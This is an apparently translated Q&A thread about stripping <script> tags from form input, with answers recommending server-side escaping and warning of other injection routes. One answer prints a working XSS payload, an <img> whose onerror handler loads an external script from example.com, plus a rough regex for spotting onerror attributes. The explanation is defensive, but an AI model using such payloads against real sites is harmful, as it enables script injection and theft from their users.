如何创建表单以删除<script></script>
标记并删除标记之间的内容或脚本。请任何人为我做一个表格(我已经问过这个问题,但没有找到任何有用的答案。)
喜欢此表单:(此表单仅移除<script></script>
代码,不删除<script>text</script>
代码之间的脚本)
<script type="text/javascript">
// Strip HTML Tags (form) script- By JavaScriptKit.com (http://www.javascriptkit.com)
// For this and over 400+ free scripts, visit JavaScript Kit- http://www.javascriptkit.com/
// This notice must stay intact for use
function stripHTML(){
var re= /<\S[^><]*>/g
for (i=0; i<arguments.length; i++)
arguments[i].value=arguments[i].value.… "")
}
</script>
<form onSubmit="stripHTML(this.data1, this.data2)">
<textarea name="data1" style="width: 400px; height: 100px"></textarea>
<textarea name="data2" style="width: 400px; height: 100px"></textarea>
<input type="submit" value="submit">
</form>
答案 0 :(得分:3)
在提交表单之前,您似乎试图从textarea
中删除HTML。
这是毫无意义的,因为您的服务器上需要进行任何验证和转义。如果您有script
个元素内提交的非常大的代码块并尝试减少一点流量的历史记录,那么我可以通过这样做来考虑唯一的优势。
您应该按原样提交表单(可选择在客户端验证它),然后不要从中删除标记 em>。相反,保持原样并根据上下文选择转义方法。例如,如果您将此文本视为文本,并需要将其显示给最终用户,请使用echo htmlspecialchars($_POST['data1']);
。
答案 1 :(得分:1)
请注意,还有其他方法可以将JavaScript注入到页面中 - 您必须做的不仅仅是取消<script>
个标记。
例如,您可以将Javascript包含为DOM属性 - 它将被执行。
<img src="ლ(ಠ益ಠლ)" onerror="var b=document.createElement('script');b.setAttribute('src','http://www.example.com/script.js');var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(b,s);"/>
<img>
标记有一个伪造的URL,因此会导致错误,触发其onerror
处理程序。在这种情况下,我将其设置为加载外部JS文件。
如果你真的想要阻止任意Javascript被执行,你将不得不做一些额外的处理。
以下(超级草率)正则表达式将匹配包含onerror
属性但YMMV的任何HTML标记。在这种形式中,它也会匹配以下内容:<div class="onerror">
,并且您不希望删除可能无害的内容。
(<)(.*?)(onerror)(.*?)(>)